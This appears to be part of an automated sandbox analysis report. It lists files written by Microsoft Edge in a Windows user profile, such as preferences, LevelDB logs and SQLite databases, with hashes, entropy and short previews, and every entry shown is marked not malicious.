MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67388998-1C90.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4544134031493314
Encrypted:	false
SSDEEP:	6144:Q0ZfsTlxakc82Ws/19gqQVhdXlidiaHL:HkcpW9m
MD5:	379087816F2F22B12CC3CF5A5660AE22
SHA1:	FEEDCA37452E9AFE4DBC223C5C6BAEEC99F85D1A
SHA-256:	9140509C251C1FFBC4816B0D881024F97DF6A21E7CAC0A395B5724F3E3319C67
SHA-512:	C177E082F71A848A1600EDB297ECAFA42C91309FE6BA630B0CC07F120F3720B645D15C45EEB5C5CF719977554A1F7F8ECD8B4D609CA9F2E21EF0E4D5D519CA9E
Malicious:	false
Preview:	...@..@...@.....C.].....@...................p...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".tunuql20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\361981e3-bd59-4e52-a4d4-3a33464ee24a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56100163260309
Encrypted:	false
SSDEEP:	768:VqlG0U7pLGLpHRWPKcfpj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtZqJOFprwUW4ZX:VqlG0YcpHRWPKcfpju1jaYZqQFaUW44C
MD5:	629B835C8BA4B914949267D75984409B
SHA1:	30695AB265129D32D648BC4DBEAB1EA56F3BCC77
SHA-256:	2A9BD71CA5505CBF0957E775F0090964070EE8A7695FBB1CEC01F2A98AB81C75
SHA-512:	1494657F9724D3CB91F5E05A5098A8083786D72B95E9EC82C669A411D81CA76CFE6DAC99AA772ABCF1E68CE7410EE8F21C4E026EC601182EEF0FE42686D6C955
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376232088538137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376232088538137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49c48ffc-2049-4a7e-b849-3a3b77771b85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564071443514442
Encrypted:	false
SSDEEP:	768:VqlGqRWPKcfmj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtZqJOFprwUWeZqKpMtuD:VqlGqRWPKcfmju1jaYZqQFaUWe4xtc
MD5:	00E420CF263F6149ECC2BC20530708AF
SHA1:	FE6F853E6B97305591FF52D1B778F251FDE376F4
SHA-256:	3E93CBC1EF2E30C05D6361E8F36B17FA0A9C7CBD25F51D4B81180C72FA3F5EF9
SHA-512:	35555F60F88A70E9F50F98541CC778537A26F648BDB6F6CD0FDA76B43127C2630BF034F98C839769AF379CAB2B547189250D12030CA072B34BD2B304832A7811
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376232088538137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376232088538137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\57bb6798-3509-43eb-ab4e-68ebc4660914.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17502), with no line terminators
Category:	dropped
Size (bytes):	17506
Entropy (8bit):	5.47773428104064
Encrypted:	false
SSDEEP:	384:st8PGKSu42ksI5fhdEdW94mbGpQwZ6W9laTY9:s6Oxu3Q5fsmbG6OXaTY9
MD5:	CF21C1C7895061A8527A5500F06B7D08
SHA1:	0D33A50378A05E5F3AF62437E16C56BF6B0FC56C
SHA-256:	E99CD2DC750E79076F124F0C5315ECAA283DC1D139D1D68BB6FDED585C40DDE9
SHA-512:	AA2E3665E68CE05E2EE60F3FE150EF894543E1481667555BF442757A16224D8585FC5F723237591A3016D98B90A117B85490BC55A39A4048CE3222396621375B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\73fc6808-ed27-4c5e-b20d-d358d0c28784.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8aeffcd9-401f-4e1d-a934-6d0baaad556d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17337), with no line terminators
Category:	dropped
Size (bytes):	17341
Entropy (8bit):	5.48110068182922
Encrypted:	false
SSDEEP:	384:st8PGKSu42ksI5fhdEdW94mbGpQwZ6WMaTY9:s6Oxu3Q5fsmbG6OoaTY9
MD5:	512B8E9C0E73C93111B71FD333E97027
SHA1:	E1ABEDA4AA9DBA8BFDDE16FE0A2E87E6BFCB1653
SHA-256:	086D17F5E43DC7933067DE7B41A260A046CDB12639CA328718950C79BEFC9E9B
SHA-512:	511AF865CB48333016D65388EB58392BAC03EBE1D0E7C947CB4F15D12A8AAEA3859B53A9DC84CDAC817A4BC55BF461E317669FBA07D07FFF708FE0DACD4CB4B7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.248140629432038
Encrypted:	false
SSDEEP:	6:HUafRLk5QB1923oH+Tcwtp3hBtB2KLlVUafRLh7+q2P923oH+Tcwtp3hBWsIFUv:PlIQMYebp3dFL3lIv4Yebp3eFUv
MD5:	6A8E81DF7239FEA314385240E2725D54
SHA1:	6C69F2B504717786AE383E4B911161E1D9B32E91
SHA-256:	E936A9B2AC70155CEDCC807729B6CCA7A7297FBF3AB537E3AF1938C3BE98A2B9
SHA-512:	6726F793E52E5BD176A5FC195E1EEE19F5DC5AADA25559B289941650A609B2616D377A4868131615F3D2BC42AFCB858815F92F574A779A33A6734B78C80089E0
Malicious:	false
Preview:	2024/11/16-07:01:33.470 c48 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/16-07:01:33.483 c48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222857002150866
Encrypted:	false
SSDEEP:	24576:v+/PN8FHfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN85fx2mjF
MD5:	61361DE35265D621B6933EB73B5D730B
SHA1:	E0C407767FE9FE1F354136B936E47A7D168D0B29
SHA-256:	D99D9D05F08F683E4848722B17C161452094A5BC8367B4457C07E4D481C0A5A6
SHA-512:	D172503FB73F60D7ADFCE8CA8F5122C0EC3DB3A77A868211252A273B72E47A034F840E6779967A7115806729B549AF7DD146E3165CA00CAAF6E79536957E8D15
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1291581307693965
Encrypted:	false
SSDEEP:	6:HUafn39+q2P923oH+Tcwt9Eh1tIFUt8YUafo3JZmw+YUafY9VkwO923oH+Tcwt9O:Pv9+v4Yeb9Eh16FUt80A3J/+0g9V5LYf
MD5:	109FE6518B5D8DA1B87AEF33003CACD2
SHA1:	6203EA2C58C1A68FA39D2462521369D363004FEB
SHA-256:	82AF4AB7AB103D5303C7263FB0B2BD588700E9D2F3F42D810598BEA65692EC40
SHA-512:	6E1DA297580EA0D1AEE2A64EA7D9C6DA7A1E98ABE44660B836F0719D58E3145D4CCD7B52C4D968C260E7E6D8FAA5280DC065B14C6409A7EC3821E84FD4378C0D
Malicious:	false
Preview:	2024/11/16-07:01:34.395 209c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-07:01:34.402 209c Recovering log #3.2024/11/16-07:01:34.431 209c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1291581307693965
Encrypted:	false
SSDEEP:	6:HUafn39+q2P923oH+Tcwt9Eh1tIFUt8YUafo3JZmw+YUafY9VkwO923oH+Tcwt9O:Pv9+v4Yeb9Eh16FUt80A3J/+0g9V5LYf
MD5:	109FE6518B5D8DA1B87AEF33003CACD2
SHA1:	6203EA2C58C1A68FA39D2462521369D363004FEB
SHA-256:	82AF4AB7AB103D5303C7263FB0B2BD588700E9D2F3F42D810598BEA65692EC40
SHA-512:	6E1DA297580EA0D1AEE2A64EA7D9C6DA7A1E98ABE44660B836F0719D58E3145D4CCD7B52C4D968C260E7E6D8FAA5280DC065B14C6409A7EC3821E84FD4378C0D
Malicious:	false
Preview:	2024/11/16-07:01:34.395 209c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-07:01:34.402 209c Recovering log #3.2024/11/16-07:01:34.431 209c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.462557684599704
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuR4:TouQq3qh7z3bY2LNW9WMcUvBuy
MD5:	6BB0D5F86B9B44874E20A8583E64D1A2
SHA1:	87351C9A8E5004AE739FD7C7FEDF698C953F31CB
SHA-256:	5D7C9E3B9B7A1CBD8C8FD945A18F9E2F6A1FC28B1C9939767D1A5F823363F86C
SHA-512:	5C1CD4AC12C0F7613DFFDBACA1F5E8CDE72C37D70DE41573D21A61AD10F7CAE38CD5F3E5F0A1DC9F6579FD5A8553A17FB7F952BD306256F5950271A132B7F1DF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.1670556855799425
Encrypted:	false
SSDEEP:	6:HUafX2F34q2P923oH+TcwtnG2tMsIFUt8YUafXvJZmw+YUafXvDkwO923oH+Tcwj:P/Dv4Yebn9GFUt80/h/+0/75LYebn95J
MD5:	02F5FCC4AFBDA36D0FAA4843317EF15D
SHA1:	7379213D65BA417C0E8905EAC4793177E4AF49CA
SHA-256:	9E97BB9E2634DBE775BE748EA0E643A406E5B1550184C966226CDC87666FBE38
SHA-512:	B8AFE37BAB79FABBA4CCB95471036263A919BC575686B31A7F1A73B3015EC53E38B76B034FEDAC67AD79B9ECAED88ED062EA507464CDECDAF6B13D64F6C1CD13
Malicious:	false
Preview:	2024/11/16-07:01:28.630 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/16-07:01:28.631 1e04 Recovering log #3.2024/11/16-07:01:28.631 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.1670556855799425
Encrypted:	false
SSDEEP:	6:HUafX2F34q2P923oH+TcwtnG2tMsIFUt8YUafXvJZmw+YUafXvDkwO923oH+Tcwj:P/Dv4Yebn9GFUt80/h/+0/75LYebn95J
MD5:	02F5FCC4AFBDA36D0FAA4843317EF15D
SHA1:	7379213D65BA417C0E8905EAC4793177E4AF49CA
SHA-256:	9E97BB9E2634DBE775BE748EA0E643A406E5B1550184C966226CDC87666FBE38
SHA-512:	B8AFE37BAB79FABBA4CCB95471036263A919BC575686B31A7F1A73B3015EC53E38B76B034FEDAC67AD79B9ECAED88ED062EA507464CDECDAF6B13D64F6C1CD13
Malicious:	false
Preview:	2024/11/16-07:01:28.630 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/16-07:01:28.631 1e04 Recovering log #3.2024/11/16-07:01:28.631 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6134799557972349
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j9m1Spjm7mL:TO8D4jJ/6Up+BXX
MD5:	96A1A0C3EEFAFE409551AE2A9F0152F3
SHA1:	16090B87CEF6F3A64B6CC263C7CFA429DB774CE3
SHA-256:	F809D40EEF72A9995D44B6D7D4390670DB35CBCC04CDE088E1467E8F43C81CC7
SHA-512:	44BCC2C9CBE0B627A7A914C5465BF18FBA0E856FBAC1EBED37629006D4D1731F3B8A5738796C885BAE29F7F7C0567CA3DBFBF985D75E93C37F38DF336D32BD04
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35413047062667
Encrypted:	false
SSDEEP:	6144:1A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:1FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	0D40984256F2CF74E4CDD35293F8DEAC
SHA1:	3A4091F11B5F9630DAB211D490383ADEA524879D
SHA-256:	0F47BEBB5ACB136A7C7558389DAE44F4EE6A0490684345066E57DCFBD96A677D
SHA-512:	3744E2A807DC82524F1F8583F172CA8588B990B6F0B56E6FB7D45E6142E13691CBAA36291F1C5759EB76A32E40566847F80558AA73FEE4771807D3211FE13C8B
Malicious:	false
